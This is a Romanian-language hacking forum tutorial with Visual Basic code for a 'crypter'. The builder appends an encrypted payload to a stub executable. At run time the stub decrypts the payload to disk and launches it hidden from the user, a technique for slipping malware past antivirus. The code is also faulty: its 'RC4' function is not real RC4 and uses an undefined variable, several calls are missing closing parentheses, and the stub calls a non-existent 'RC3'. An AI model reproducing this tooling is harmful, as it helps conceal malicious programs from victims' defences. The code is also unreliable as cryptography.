Hacking-Romanesc
Este un site de hacking Romanesc
|
Nou pe simpatie:
Alexandra21
 | Femeie
24 ani
Calarasi
cauta Barbat
24 - 53 ani |
|
|
Hacking-RomanescReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
Buna astazi invatam cum sa criptam un text si sa facem un crippter
1.Idea de baza
Avem nevoie de o functie Rc4 cu ajutorul caruia putem crypta un string.Aceasta functie o punem intrun modul
Cod:
Public Function RC4(ByVal Data As String, ByVal Password As String) As String 'rc4 encryption function
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
1.1 criptarea unui text
Sa incepem cu ceva simplu criptarea unui text
Cod:
Private Sub Crypt_Click()
dim cryptat as string
dim text as string
text = "test"'textul pe care il criptam
cryptat = RC4(test,"123456" 'cryptam stringu din interiorul variabilei text pe care o criptam cu parola 123456
text1.text = cryptat'afisam variabila cryptat cu textul nostru cryptat in textbox
End Sub
E simplu nu ?
1.2 Criptarea unui fisier
Criptarea unui text este simpla dar critarea unui fisier este asa simpla haideti sa vedem
avem nevoie de
1.Doua textbox unul pentru fisierul pe care il criptam si unul pentru fisierul criptat
2.un buton
Cod:
Private Sub Crypt_Click()
Dim data as string
dim crypt as string
Open text1.text For Binary as #1'Deschidem fisierul pe care il criptam
Get #1,,data'generam datele fisierului si le punem in variabila data
Open text2.text For Binary as #2'Deschidem un fisier nou pentru cryptare
crypt = RC4(data,"123456"'stiti povestea
Put #2,,crypt
Close #1'Inchidem fisierul 1
Close #2'Inchidem Fisierul 2
E aproape indentic
2.0 Crearea cripterului
Faceti exat ca in imagine
Sa incepem
Cod:
Private Sub Command1_click()
Dim Stub as string
Dim Crypt as string
Open App.Path & "\stub.exe" for binary as #1'Deschidem Stubul pe care il creem mai incolo
Stub = Space(LOF(1))'Punem un Spatiu inaintea vaariabilei
Get #1,, Stub'Generem datele Stubului in Variabila Stub
Open text1.text for binary as #2'Deschidem Fisierul pe care il cryptam
Crypt = Space(LOF(1))'Punem si Variabilei Crypt un spatiu
Get #2,,Crypt'Generam datele fisierului in Crypt
Crypt = RC4(Crypt,"123456"'Criptam datele fisierului
Open text2.text for binary as #3'Deschidem un nou fisier
Put #3,,Stub'Punem datele Stubului
Put #3,,"#####"'Punem un string un delimitator care sa inparta stubul de datele criptate
Put #3,,Crypt'punem datele criptate
Close #1
Close #2
Close #3
End Sub
A fost ceva mai dificil Compilam Fisierul Si il punem intrun folder
2.1 Crearea Stubului
Deschidem Vb si creem Un nou proiect standard exe adaugam un modul si stergem Form1
Avem nevoie de functia de decriptare
Cod:
Public Function RC4(ByVal Data As String, ByVal Password As String) As String 'rc4 encryption function
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
Sa creem Mainu
Cod:
Sub Main()
Dim file as string
Open App.Path & App.ExeName for binary as #1'Deschidem Fisierul Cryptat in modul binar
file = Space(LOF(1))
Get #1,,file'Generam datele criptate
Close #1
file = Split(file,"#####"'Ne amintim ca am pus stringul ##### pentru impartirea datelor ei asta facem noi acum
file = RC3(file,"123456"'decriptam
Open App.Path & "\decriptat.exe" for binary as #1'deschidem un nou fisier
Put #1,,file'punem datele decryptate
Close #1'inchidem
Shell App.Path & "\decriptat.exe", vbHide
Unload me
end sub
Compilam cu numele stub.exe si il punem in acelasi folder cu Cripteru.
_______________________________________
>L0LImax\
Justlive
http://www.danasoft.com/
|
|
| |
|
